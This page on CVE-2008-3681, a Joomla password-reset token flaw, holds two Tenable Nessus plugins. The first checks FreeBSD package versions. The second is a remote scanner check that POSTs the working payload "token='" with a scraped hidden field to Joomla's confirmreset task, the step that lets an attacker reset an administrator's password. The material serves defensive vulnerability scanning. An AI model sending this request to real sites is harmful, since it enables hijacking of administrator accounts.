Vulnerabilities > CVE-2008-3681 - Permissions, Privileges, and Access Controls vulnerability in Joomla COM User

#%NASL_MIN_LEVEL 80502
#
# (C) Tenable Network Security, Inc.
#
# The descriptive text and package checks in this plugin were  
# extracted from the FreeBSD VuXML database :
#
# Copyright 2003-2018 Jacques Vidrine and contributors
#
# Redistribution and use in source (VuXML) and 'compiled' forms (SGML,
# HTML, PDF, PostScript, RTF and so forth) with or without modification,
# are permitted provided that the following conditions are met:
# 1. Redistributions of source code (VuXML) must retain the above
#    copyright notice, this list of conditions and the following
#    disclaimer as the first lines of this file unmodified.
# 2. Redistributions in compiled form (transformed to other DTDs,
#    published online in any format, converted to PDF, PostScript,
#    RTF and other formats) must reproduce the above copyright
#    notice, this list of conditions and the following disclaimer
#    in the documentation and/or other materials provided with the
#    distribution.
# 
# THIS DOCUMENTATION IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
# THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
# PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS
# BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY,
# OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT
# OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
# BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
# WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
# OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS DOCUMENTATION,
# EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#

include("compat.inc");

if (description)
{
  script_id(34018);
  script_version("1.12");
  script_cvs_date("Date: 2019/08/02 13:32:39");

  script_cve_id("CVE-2008-3681");

  script_name(english:"FreeBSD : joomla -- flaw in the reset token validation (8514b6e7-6f0f-11dd-b3db-001c2514716c)");
  script_summary(english:"Checks for updated package in pkg_info output");

  script_set_attribute(
    attribute:"synopsis", 
    value:"The remote FreeBSD host is missing a security-related update."
  );
  script_set_attribute(
    attribute:"description", 
    value:
"Joomla project reports :

A flaw in the reset token validation mechanism allows for
non-validating tokens to be forged. This will allow an
unauthenticated, unauthorized user to reset the password of the first
enabled user (lowest id). Typically, this is an administrator user.
Note, that changing the first users username may lessen the impact of
this exploit (since the person who changed the password does not know
the login associated with the new password). However, the only way to
completely rectify the issue is to upgrade to 1.5.6 (or patch the
/components/com_user/models/reset.php file)."
  );
  # https://vuxml.freebsd.org/freebsd/8514b6e7-6f0f-11dd-b3db-001c2514716c.html
  script_set_attribute(
    attribute:"see_also",
    value:"http://www.nessus.org/u?794fa91d"
  );
  script_set_attribute(attribute:"solution", value:"Update the affected package.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_cwe_id(264);

  script_set_attribute(attribute:"plugin_type", value:"local");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:freebsd:freebsd:joomla15");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:freebsd:freebsd");

  script_set_attribute(attribute:"vuln_publication_date", value:"2008/08/14");
  script_set_attribute(attribute:"patch_publication_date", value:"2008/08/20");
  script_set_attribute(attribute:"plugin_publication_date", value:"2008/08/21");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_copyright(english:"This script is Copyright (C) 2008-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
  script_family(english:"FreeBSD Local Security Checks");

  script_dependencies("ssh_get_info.nasl");
  script_require_keys("Host/local_checks_enabled", "Host/FreeBSD/release", "Host/FreeBSD/pkg_info");

  exit(0);
}


include("audit.inc");
include("freebsd_package.inc");


if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
if (!get_kb_item("Host/FreeBSD/release")) audit(AUDIT_OS_NOT, "FreeBSD");
if (!get_kb_item("Host/FreeBSD/pkg_info")) audit(AUDIT_PACKAGE_LIST_MISSING);


flag = 0;

if (pkg_test(save_report:TRUE, pkg:"joomla15<1.5.6")) flag++;

if (flag)
{
  if (report_verbosity > 0) security_hole(port:0, extra:pkg_report_get());
  else security_hole(0);
  exit(0);
}
else audit(AUDIT_HOST_NOT, "affected");

#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(33882);
  script_version("1.23");
  script_cvs_date("Date: 2018/06/13 18:56:27");

  script_cve_id("CVE-2008-3681");
  script_bugtraq_id(30667);
  script_xref(name:"EDB-ID", value:"6234");
  script_xref(name:"Secunia", value:"31457");

  script_name(english:"Joomla! reset.php Reset Token Validation Forgery");
  script_summary(english:"Attempts to reset a password using an invalid token.");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP application that is affected by
a vulnerability in its password reset mechanism.");
  script_set_attribute(attribute:"description", value:
"The version of Joomla! running on the remote host is affected by a
password reset vulnerability in components/com_user/models/reset.php
script due to improper validation of user-supplied input to the
'token' parameter before using it to construct database queries in the
confirmReset() function. An unauthenticated, remote attacker can
exploit this issue by entering a single quote character when prompted
for a token in the 'Forgot your Password' form, thereby causing a
reset of the password of the first enabled user, typically an
administrator.");
  # https://developer.joomla.org/security/news/241-20080801-core-password-remind-functionality.html
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?e6dcfebf");
  script_set_attribute(attribute:"solution", value:
"Upgrade to Joomla! 1.5.6 or later. Alternatively, patch the
components/com_user/models/reset.php script, as referenced in the
vendor advisory.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:P/RL:O/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_cwe_id(264);

  script_set_attribute(attribute:"vuln_publication_date", value:"2008/08/12");
  script_set_attribute(attribute:"patch_publication_date", value:"2008/08/12");
  script_set_attribute(attribute:"plugin_publication_date", value:"2008/08/13");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:joomla:joomla\!");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2008-2018 Tenable Network Security, Inc.");

  script_dependencies("joomla_detect.nasl");
  script_require_ports("Services/www", 80);
  script_require_keys("installed_sw/Joomla!", "www/PHP");

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("install_func.inc");

app = "Joomla!";
get_install_count(app_name:app, exit_if_zero:TRUE);

port = get_http_port(default:80, php:TRUE);

install = get_single_install(
  app_name : app,
  port     : port
);
dir = install['path'];
install_url =  build_url(port:port, qs:dir);

# Make sure the form exists.
r = http_send_recv3(
  method : "GET",
  port   : port,
  item   : dir + "/index.php?option=com_user&view=reset&layout=confirm",
  exit_on_fail : TRUE
);

# If it does...
if (
  "confirmreset" >< r[2] &&
  'input id="token"' >< r[2]
)
{
  # Determine the hidden variable.
  hidden = NULL;

  pat = 'type="hidden" name="([0-9a-fA-F]+)" value="1"';
  matches = egrep(pattern:pat, string:r[2]);
  if (matches)
  {
    foreach match (split(matches))
    {
      match = chomp(match);
      item = eregmatch(pattern:pat, string:match);
      if (!empty_or_null(item))
      {
        hidden = item[1];
        break;
      }
    }
  }

  # Try the exploit.
  # this doesn't actually reset the password, only verifies
  # that the token has been confirmed.
  if (empty_or_null(hidden))
    exit(0, "Nessus could not find the hidden form variable on the "+app+" install at "+install_url);
  else
  {
    postdata = "token='&" +hidden+ "=1";
    url = "/index.php?option=com_user&task=confirmreset";

    r = http_send_recv3(
      method  : "POST",
      item    : dir + url,
      version : 11,
      port    : port,
      add_headers : make_array("Content-Type", "application/x-www-form-urlencoded"),
      data    : postdata,
      exit_on_fail : TRUE
    );

    # There's a problem if we're redirected to the confirmation screen.
    if ("option=com_user&view=reset&layout=complete" >< r[2])
    {
      output = strstr(r[2], "option=com_user");
      if(empty_or_null(output)) output = r[2];

      security_report_v4(
        port        : port,
        severity    : SECURITY_HOLE,
        generic     : TRUE,
        request     : make_list(http_last_sent_request()),
        output      : output
      );
      exit(0);
    }
  }
}
audit(AUDIT_WEB_APP_NOT_AFFECTED, app, install_url);